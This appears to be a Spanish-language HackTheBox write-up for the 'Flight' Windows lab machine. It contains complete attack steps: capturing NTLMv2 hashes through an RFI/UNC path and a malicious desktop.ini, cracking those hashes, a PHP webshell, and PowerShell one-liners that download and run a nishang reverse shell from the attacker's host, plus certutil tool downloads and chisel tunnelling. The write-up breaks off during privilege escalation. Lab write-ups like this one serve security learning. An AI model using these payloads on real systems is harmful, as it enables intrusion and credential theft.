Flight HackTheBox

Buenas a todos, en esta ocasión resolveremos una máquina windows llamada flight lo cual está catalogada como hard en la plataforma de HackTheBox, me costó bastante resolver esta máquina más que nada la escalada de privilegios, disfruten el contendido.

Empezamos a escanear para descubrir puertos abiertos en la máquina

❯ nmap -sS -vvv -p- -Pn -n --min-rate 5000 10.10.11.187 -oG targeted
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-14 23:15 -03
Initiating SYN Stealth Scan at 23:15
Scanning 10.10.11.187 [65535 ports]
Discovered open port 445/tcp on 10.10.11.187
Discovered open port 139/tcp on 10.10.11.187
Discovered open port 80/tcp on 10.10.11.187
Discovered open port 135/tcp on 10.10.11.187
Discovered open port 53/tcp on 10.10.11.187
Discovered open port 9389/tcp on 10.10.11.187
Discovered open port 5985/tcp on 10.10.11.187
Discovered open port 593/tcp on 10.10.11.187
Discovered open port 49673/tcp on 10.10.11.187
Discovered open port 49674/tcp on 10.10.11.187
Discovered open port 3269/tcp on 10.10.11.187
Discovered open port 49667/tcp on 10.10.11.187
Discovered open port 464/tcp on 10.10.11.187
Discovered open port 49725/tcp on 10.10.11.187
Discovered open port 88/tcp on 10.10.11.187
Discovered open port 3268/tcp on 10.10.11.187
Discovered open port 49694/tcp on 10.10.11.187
Discovered open port 389/tcp on 10.10.11.187
Discovered open port 636/tcp on 10.10.11.187
Completed SYN Stealth Scan at 23:16, 26.45s elapsed (65535 total ports)
Nmap scan report for 10.10.11.187
Host is up, received user-set (0.17s latency).
Scanned at 2023-03-14 23:15:53 -03 for 27s
Not shown: 65516 filtered tcp ports (no-response)
PORT      STATE SERVICE          REASON
53/tcp    open  domain           syn-ack ttl 127
80/tcp    open  http             syn-ack ttl 127
88/tcp    open  kerberos-sec     syn-ack ttl 127
135/tcp   open  msrpc            syn-ack ttl 127
139/tcp   open  netbios-ssn      syn-ack ttl 127
389/tcp   open  ldap             syn-ack ttl 127
445/tcp   open  microsoft-ds     syn-ack ttl 127
464/tcp   open  kpasswd5         syn-ack ttl 127
593/tcp   open  http-rpc-epmap   syn-ack ttl 127
636/tcp   open  ldapssl          syn-ack ttl 127
3268/tcp  open  globalcatLDAP    syn-ack ttl 127
3269/tcp  open  globalcatLDAPssl syn-ack ttl 127
5985/tcp  open  wsman            syn-ack ttl 127
9389/tcp  open  adws             syn-ack ttl 127
49667/tcp open  unknown          syn-ack ttl 127
49673/tcp open  unknown          syn-ack ttl 127
49674/tcp open  unknown          syn-ack ttl 127
49694/tcp open  unknown          syn-ack ttl 127
49725/tcp open  unknown          syn-ack ttl 127

Seguimos con el escaneo de puertos, pero antes no viene mal usar la utilidad extractPorts para copiar y pegar los puertos sin ninguna dificultad


 extractPorts target
───────┬────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
        File: extractPorts.tmp
───────┼────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1    
   2    [*] Extracting information...
   3    
   4        [*] IP Address: 10.10.11.187
   5        [*] Open ports: 53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49694,49725
   6    
   7    [*] Ports copied to clipboard
   8    
───────┴────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

Sigamos con el escaneo de puertos

❯ nmap -sCV -p53,80,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49667,49673,49674,49694,49725 10.10.11.187

PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1)
|_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1
|_http-title: g0 Aviation
| http-methods: 
|_  Potentially risky methods: TRACE
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-03-15 09:21:52Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49667/tcp open  msrpc         Microsoft Windows RPC
49673/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49674/tcp open  msrpc         Microsoft Windows RPC
49694/tcp open  msrpc         Microsoft Windows RPC
49725/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 6h59m54s
| smb2-time: 
|   date: 2023-03-15T09:22:47
|_  start_date: N/A
| smb2-security-mode: 
|   311: 
|_    Message signing enabled and required

Vemos que en el puerto 3269 nos da un dominio, otra forma que encontré para hallar el dominio fue tirando de crackmapexec


❯ crackmapexec smb 10.10.11.187
[*] First time use detected
[*] Creating home directory structure
[*] Creating default workspace
[*] Initializing RDP protocol database
[*] Initializing SSH protocol database
[*] Initializing SMB protocol database
[*] Initializing LDAP protocol database
[*] Initializing WINRM protocol database
[*] Initializing MSSQL protocol database
[*] Initializing FTP protocol database
[*] Copying default configuration file
[*] Generating SSL certificate
SMB         10.10.11.187    445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)

Agregemos el dominio al archivo /etc/hosts

echo '10.10.11.187 flight.htb' >> /etc/hosts

Revisemos la web

Después de enumerar un largo rato en la web no encontré nada interesante, asé que procederé a buscar subdominios con gobuster


 gobuster vhost -u http://flight.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -t 200
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://flight.htb
[+] Method:          GET
[+] Threads:         200
[+] Wordlist:        /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.5
[+] Timeout:         10s
===============================================================
2023/03/14 23:43:57 Starting gobuster in VHOST enumeration mode
===============================================================
Found: school.flight.htb (Status: 200) [Size: 3996]

Encontramos un subdominio, ahora es tan solo agregarlo al /etc/hosts

echo '10.10.11.187 school.flight.htb' >> /etc/hosts

Vemos que la página es distinta a la de antes

A la hora de darle a HOME podemos ver que la url nos muestra algo interesante

Estuve un tiempo intentando ver si es vulnerable a los ataques LFI o sea los local file inclusion, pero veo que las consultas de la web me devuelve lo mismo

Probemos con los ataques RFI

Nos ponemos en escucha con el responder

 responder -I tun0 -w -d
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

  To support this project:
  Patreon -> https://www.patreon.com/PythonResponder
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [ON]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.105]
    Responder IPv6             [dead:beef:2::1014]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-X8CGHZMJ1L7]
    Responder Domain Name      [8AD5.LOCAL]
    Responder DCE-RPC Port     [47658]

[+] Listening for events...

Le lanzamos un curl a la web de la siguiente forma

  curl -s 'http://school.flight.htb/index.php?view=//10.10.14.105/smb/setensa.txt'
<!DOCTYPE html>
<html>
<head>
<title>Aviation School</title>
<meta charset="UTF-8" />
<link rel="stylesheet" type="text/css" href="styles/style.css" />
<!--[if IE 6]><link rel="stylesheet" type="text/css" href="styles/ie6.css" /><![endif]-->
</head>
<body>
<div id="page">
  <div id="header">
    <div id="section">
      <div><a href="index.html"><img src="images/logo.gif" alt="" /></a></div>
       </div>
    <ul>
      <li><a href="index.php?view=home.html">Home</a></li>
      <li><a href="index.php?view=about.html">About Us</a></li>
      <li><a href="index.php?view=blog.html">Blog</a></li>
    </ul>
  </div>
  <div id="footer">
    <div>
      <div id="connect"> <a href="#"><img src="images/icon-facebook.gif" alt="" /></a> <a href="#"><img src="images/icon-twitter.gif" alt="" /></a> <a href="#"><img src="images/icon-youtube.gif" alt="" /></a> </div>
      <div class="section">
        <p>Copyright &copy; <a href="#">Domain Name</a> - All Rights Reserved | Template By <a href="#">Domain Name</a></p>
      </div>
    </div>
  </div>
</div>
</body>
</html>% 

Ahora miramos en el responder y vemos que capturamos un hash NTLMv2, al final es vulnerable a los ataques RFI, copiemos el hash y guardémoslo en un archivo para crackearlo con John

[SMB] NTLMv2-SSP Client   : 10.10.11.187
[SMB] NTLMv2-SSP Username : flight\svc_apache
[SMB] NTLMv2-SSP Hash     : svc_apache::flight:690ba1fe456f2723:A876141A0C34E5BED166E1FA0C1D0A5A:010100000000000000330C6CD256D901200B5751A20220540000000002000800380041004400350001001E00570049004E002D00580038004300470048005A004D004A0031004C00370004003400570049004E002D00580038004300470048005A004D004A0031004C0037002E0038004100440035002E004C004F00430041004C000300140038004100440035002E004C004F00430041004C000500140038004100440035002E004C004F00430041004C000700080000330C6CD256D9010600040002000000080030003000000000000000000000000030000055BD617D7D33214E59B58A850B2DDFDF37A55A528650AFED86EC8F736DE5FCB90A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320032000000000000000000

❯ john -w=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
S@Ss!K@*t13      (svc_apache)     
1g 0:00:00:12 DONE (2023-03-15 00:19) 0.08123g/s 866199p/s 866199c/s 866199C/s S@anmeet2k2..S@29$JL
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed. 

Tenemos credenciales, comprobemos si son válidas con crackmapexec

❯ crackmapexec smb 10.10.11.187 -u 'svc_apache' -p 'S@Ss!K@*t13'
SMB         10.10.11.187    445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [+] flight.htb\svc_apache:S@Ss!K@*t13 

Son válidas, ya que tenemos credenciales, con rpcclient podemos enumerar a todos los usuarios del dominio

❯ rpcclient 10.10.11.187 -U 'svc_apache%S@Ss!K@*t13' -c enumdomusers
user:[Administrator] rid:[0x1f4]
user:[Guest] rid:[0x1f5]
user:[krbtgt] rid:[0x1f6]
user:[S.Moon] rid:[0x642]
user:[R.Cold] rid:[0x643]
user:[G.Lors] rid:[0x644]
user:[L.Kein] rid:[0x645]
user:[M.Gold] rid:[0x646]
user:[C.Bum] rid:[0x647]
user:[W.Walker] rid:[0x648]
user:[I.Francis] rid:[0x649]
user:[D.Truff] rid:[0x64a]
user:[V.Stevens] rid:[0x64b]
user:[svc_apache] rid:[0x64c]
user:[O.Possum] rid:[0x64d]

Nos reportó 15 usuarios, los copiamos y pegamos en un archivo

Archivo con los usuarios

Administrator
Guest
krbtgt
S.Moon
R.Cold
G.Lors
L.Kein
M.Gold
C.Bum
W.Walker
I.Francis
D.Truff
V.Stevens
svc_apache
O.Possum

Con crackmapexec comprebemos si algunos de estos usuarios reutiliza la contraseña de svc_apache


❯ crackmapexec smb 10.10.11.187 -u usuarios -p 'S@Ss!K@*t13' --continue-on-success
SMB         10.10.11.187    445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [-] flight.htb\Administrator:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\Guest:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\krbtgt:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [+] flight.htb\S.Moon:S@Ss!K@*t13                      <---
SMB         10.10.11.187    445    G0               [-] flight.htb\R.Cold:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\G.Lors:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\L.Kein:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\M.Gold:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\C.Bum:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\W.Walker:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\I.Francis:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\D.Truff:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [-] flight.htb\V.Stevens:S@Ss!K@*t13 STATUS_LOGON_FAILURE 
SMB         10.10.11.187    445    G0               [+] flight.htb\svc_apache:S@Ss!K@*t13 
SMB         10.10.11.187    445    G0               [-] flight.htb\O.Possum:S@Ss!K@*t13 STATUS_LOGON_FAILURE 

El usuario S.Moon reutiliza la contraseña

Con smbmap miremos los permisos del usuario a nivel de recursos compartidos

❯  smbmap -H 10.10.11.187 -u 's.moon' -p 'S@Ss!K@*t13'
[+] IP: 10.10.11.187:445	Name: flight.htb                                        
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	READ ONLY	Logon server share 
	Shared                                            	READ, WRITE	
	SYSVOL                                            	READ ONLY	Logon server share 
	Users                                             	READ ONLY	
	Web                                               	READ ONLY	

Vemos que Shared tiene capacidad de escritura

Nos conectamos con smbclient


❯ smbclient //10.10.11.187/Shared -U 's.moon%S@Ss!K@*t13'
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Mar 15 07:31:44 2023
  ..                                  D        0  Wed Mar 15 07:31:44 2023

		5056511 blocks of size 4096. 1218917 blocks available
smb: \> 

No vemos nada, ya que tenemos capacidad de escritura intentemos subir un archivo

 whoami > testeo.txt

Lo subimos

smb: \> put testeo.txt
NT_STATUS_ACCESS_DENIED opening remote file \testeo.txt
smb: \> 

No me dejó >;(, me parece medio raro porque el smbmap nos reportó que tenemos capacidad de escritura, puedo pensar a que se debe por la extensión del archivo, creo que para prevenir archivo .scf, crearemos e intentemos subir un archivo .ini

 whoami > setensa.ini
smb: \> put setensa.ini
putting file setensa.ini as \setensa.ini (0,0 kb/s) (average 0,0 kb/s)
smb: \> 

Nos dejó subir el archivo, pero luego de unos minutos se borra, quiero pensar que puede haber alguien por detrás que los esté revisando, probemos subir un archivo .ini malicioso

Archivo .ini malicioso

[.ShellClassInfo]
IconResource=\\10.10.14.105\ojitoquesetensa

Antes de subirlo nos ponemos en escucha con el responder

 responder -I tun0 -w -d
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

  To support this project:
  Patreon -> https://www.patreon.com/PythonResponder
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [ON]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.105]
    Responder IPv6             [dead:beef:2::1014]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-TFN5VW4Q55X]
    Responder Domain Name      [0LWG.LOCAL]
    Responder DCE-RPC Port     [47036]

[+] Listening for events...

Subamos el archivo malicioso

smb: \> put malicioso.ini
putting file malicioso.ini as \malicioso.ini (0,1 kb/s) (average 0,1 kb/s)
smb: \> 

Miremos el responder

 responder -I tun0 -w -d
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.1.3.0

  To support this project:
  Patreon -> https://www.patreon.com/PythonResponder
  Paypal  -> https://paypal.me/PythonResponder

  Author: Laurent Gaffie (laurent.gaffie@gmail.com)
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    MDNS                       [ON]
    DNS                        [ON]
    DHCP                       [ON]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [ON]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]

[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.105]
    Responder IPv6             [dead:beef:2::1014]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-TFN5VW4Q55X]
    Responder Domain Name      [0LWG.LOCAL]
    Responder DCE-RPC Port     [47036]

[+] Listening for events...

[SMB] NTLMv2-SSP Client   : 10.10.11.187
[SMB] NTLMv2-SSP Username : flight.htb\c.bum
[SMB] NTLMv2-SSP Hash     : c.bum::flight.htb:8bc58da2784076a6:A887686F7A31E62187E1B18177A8B660:010100000000000000A8EBADD756D901C491AD764C783150000000000200080030004C005700470001001E00570049004E002D00540046004E003500560057003400510035003500580004003400570049004E002D00540046004E00350056005700340051003500350058002E0030004C00570047002E004C004F00430041004C000300140030004C00570047002E004C004F00430041004C000500140030004C00570047002E004C004F00430041004C000700080000A8EBADD756D9010600040002000000080030003000000000000000000000000030000055BD617D7D33214E59B58A850B2DDFDF37A55A528650AFED86EC8F736DE5FCB90A001000000000000000000000000000000000000900200063006900660073002F00310030002E00310030002E00310034002E00320032000000000000000000
[+] Exiting...

Obtenemos un hash NTLMv2 del usuario c.bum, lo copiamos y pegamos para crackearlo con john

❯ john -w=/usr/share/wordlists/rockyou.txt hash2
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Press 'q' or Ctrl-C to abort, almost any other key for status
Tikkycoll_431012284 (c.bum)     
1g 0:00:00:12 DONE (2023-03-15 00:50) 0.08190g/s 862914p/s 862914c/s 862914C/s Tilapia5%..Tikidog
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed. 

Tenemos credenciales, vamos a comprobar con crackmapexec si la credenciales son válida para el usuario

❯ crackmapexec smb 10.10.11.187 -u 'c.bum' -p 'Tikkycoll_431012284'
SMB         10.10.11.187    445    G0               [*] Windows 10.0 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.187    445    G0               [+] flight.htb\c.bum:Tikkycoll_431012284 

La credencial es válida

Nuevamente con smbmap nos fijamos los recursos compartidos

❯ smbmap -H 10.10.11.187 -u 'c.bum' -p 'Tikkycoll_431012284'
[+] IP: 10.10.11.187:445	Name: flight.htb                                        
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	READ ONLY	Logon server share 
	Shared                                            	READ, WRITE	
	SYSVOL                                            	READ ONLY	Logon server share 
	Users                                             	READ ONLY	
	Web                                               	READ, WRITE	

El recurso Web tiene capacidad de escritura, miremos el recurso con smbclient

❯ smbclient //10.10.11.187/Web -U 'c.bum%Tikkycoll_431012284'
Try "help" to get a list of possible commands.
smb: \> dir
  .                                   D        0  Wed Mar 15 07:57:00 2023
  ..                                  D        0  Wed Mar 15 07:57:00 2023
  flight.htb                          D        0  Wed Mar 15 07:57:00 2023
  school.flight.htb                   D        0  Wed Mar 15 07:57:00 2023

		5056511 blocks of size 4096. 1216693 blocks available
smb: \> 

Podemos ver que nos muestra el dominio y el subdominio que enumeramos anteriormente, si entramos a flight.htb vemos que están los archivos de configuración de la página y si le tiramos un whatweb veremos que la web interpreta php

smb: \> cd flight.htb
smb: \flight.htb\> dir
  .                                   D        0  Wed Mar 15 08:02:00 2023
  ..                                  D        0  Wed Mar 15 08:02:00 2023
  css                                 D        0  Wed Mar 15 08:02:00 2023
  images                              D        0  Wed Mar 15 08:02:00 2023
  index.html                          A     7069  Thu Feb 24 02:58:10 2022
  js                                  D        0  Wed Mar 15 08:02:00 2023

		5056511 blocks of size 4096. 1216693 blocks available
smb: \flight.htb\> 
 whatweb flight.htb
http://flight.htb [200 OK] Apache[2.4.52], Country[RESERVED][ZZ], HTML5, HTTPServer[Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1], IP[10.10.11.187], JQuery[1.4.2], OpenSSL[1.1.1m], PHP[8.1.1], Script[text/javascript], Title[g0 Aviation]

Probemos subir una webshell

<?php
  system($_REQUEST['cmd']);
?>

Recuerden que el archivo se borra luego de unos minutos, lo tienen que hacer rápido porque si no la webshell.php se borra

Subamos la webshell.php

smb: \flight.htb\>  put webshell.php
putting file webshell.php as \flight.htb\webshell.php (0,1 kb/s) (average 0,1 kb/s)
smb: \flight.htb\> 

Con curl comprobemos si podemos ejecutar comandos

❯ curl -s 'http://flight.htb/webshell.php?cmd=whoami'
flight\svc_apache

Nos dejó ejecutar el whoami, yo voy a tirar de un script de nishang para tener un revshell

Por acá se los dejo

https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1

Lo descargan y le dan el nombre que les guste

Este script lo tiene que colocar al final de la linea del archivo de nishang

Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.105 -Port 4444

Ahora nos montamos un servidor web con python y nos ponemos en escucha con netcat, al tira de curl deberíamos recibir la revshell

sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

Nos ponemos en escucha por netcat

sudo rlwrap nc -lvnp 4444
listening on [any] 4444 ...

Y ahora le lanzamos el curl, comprueben que la webshell.php no se les haya eliminado, si se eliminó es simplemente volverlo a subir

curl -s -X GET -G 'http://flight.htb/webshell.php' --data-urlencode "cmd=cmd /c powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.22/sh.ps1')"

Ganamos acceso

Al tener dos contraseñas de los otros dos usuarios probemos con conectarnos con el usuario c.bum

Primero descargaremos el RunasCs.exe

https://github.com/antonioCoco/RunasCs/releases/tag/v1.4
 unzip  RunasCs.zip
Archive:  RunasCs.zip
  inflating: RunasCs.exe             
  inflating: RunasCs_net2.exe        
 

Ahora lo descargamos en la máquina víctima

Primero montemos un servidor con python3

sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

El archivo lo voy a transferir usando de certutil.exe

PS C:\xampp\htdocs\flight.htb>certutil.exe -urlcache -f -split http://10.10.14.105/RunasCs.exe
****  Online  ****
  0000  ...
  c000
CertUtil: -URLCache command completed successfully.

Ahora ya que tenemos el RunasCs.exe podemos acceder a la máquina como el usuario c.bum, nuevamente nos montamos un servidor en python3 luego ejecutamos el RunasCs.exe con el script de nishang que utilizamos anteriormente

Montamos el servidor

sudo python3 -m http.server 80

Nos ponemos en escucha por netcat

sudo rlwrap nc -lvnp 4444
listening on [any] 4444 ...

Y en la máquina víctima ejecutamos el script de nishang

./RunasCs.exe c.bum Tikkycoll_431012284 "cmd /c powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.105/sh.ps1')"

Ganamos acceso como usuario c.bum

Ya podemos ver la primera flag :D

PS C:\Users\C.bum> cd Desktop
PS C:\Users\C.bum\Desktop> ls


    Directory: C:\Users\C.bum\Desktop


Mode                LastWriteTime         Length Name                                                                  
----                -------------         ------ ----                                                                  
-ar---        3/15/2023   5:30 PM             34 user.txt                                                              


PS C:\Users\C.bum\Desktop> type user.txt
a9****************************c
PS C:\Users\C.bum\Desktop> 

Escalada de privilegios

Enumeremos el sistema, yo voy a tirar de winpeas.exe

Nos movemos al directorio Temp y lo descargamos con certutil.exe en la máquina víctima

certutil.exe -urlcache -f -split http://10.10.14.105/winPEASx64.exe

Una vez descargado ejecutamos winpeasx64.exe


PS C:\Windows\Temp> ./winPEASx64.exe

 Enumerating IPv6 connections

  Protocol   Local Address                               Local Port    Remote Address                              

  TCP        [::]                                        80            [::]                                                       
  TCP        [::]                                        88            [::]                                                   
  TCP        [::]                                        135           [::]                                                       
  TCP        [::]                                        389           [::]                                                       
  TCP        [::]                                        443           [::]                                                       
  TCP        [::]                                        445           [::]                                                       
  TCP        [::]                                        464           [::]                                                     
  TCP        [::]                                        593           [::]                                                       
  TCP        [::]                                        636           [::]                                                       
  TCP        [::]                                        3268          [::]                                                        
  TCP        [::]                                        3269          [::]                                                        
  TCP        [::]                                        5985          [::]                                                                 
  TCP        [::]                                        8000          [::]                                        
  TCP        [::]                                        9389          [::]

Vemos que el puerto 8000 está abierto, nmap no nos había reportado esta infomación, como yo no puedo accerder al puerto 8000 desde mi máquina en este punto necesitamos hacer un Remote Port Forwarding, tireremos de chisel

Presten atención, para hacer port forwarding tienen que acceder dos veces como el usuario c.bum siguendo el prodecimiento de acceso como hicimos anteriormente como pueden ver aqui en la imagen

Descargamos el chisel, por aca se los dejo

https://github.com/jpillora/chisel/releases/tag/v1.8.1

Ahora con certutil lo descargamos en la máquina víctima

certutil.exe -urlcache -f -split http://10.10.14.105/chisel.exe

En nuesta máquina montemos el servidor con chisel

❯ ./chisel server -p 5432 --reverse
2023/03/16 00:38:46 server: Reverse tunnelling enabled
2023/03/16 00:38:46 server: Fingerprint n2EBxwcOQvChiSqjw7orAT5DqwWl8dc61s4qmG3WCGg=
2023/03/16 00:38:46 server: Listening on http://0.0.0.0:5432

Y ahora ejecutamos el chisel en la máquina windows

PS C:\Users\C.bum\Desktop> ./chisel.exe client 10.10.14.105:5432 R:8000:127.0.0.1:8000

Ya teniendo la conexión podemos acceder desde el localhost en el puerto 8000

Revisemos la web

La web es diferente a las otras que hemos enumerado anteriormente

Intentemos acceder a un recurso que no existe en la web, a ver si se expone el directorio raíz, lo haremos con curl

 curl -s http://127.0.0.1:8000/Prueba |grep 'Path'

    <tr><th>Physical Path</th><td>&nbsp;&nbsp;&nbsp;C:\inetpub\development\Prueba</td></tr> 

Vemos que el directorio raíz se expone

Si entramos a este directorio podemos ver que tenemos capacidad de escritura

icacls .
. flight\C.Bum:(OI)(CI)(W)
  NT SERVICE\TrustedInstaller:(I)(F)
  NT SERVICE\TrustedInstaller:(I)(OI)(CI)(IO)(F)
  NT AUTHORITY\SYSTEM:(I)(F)
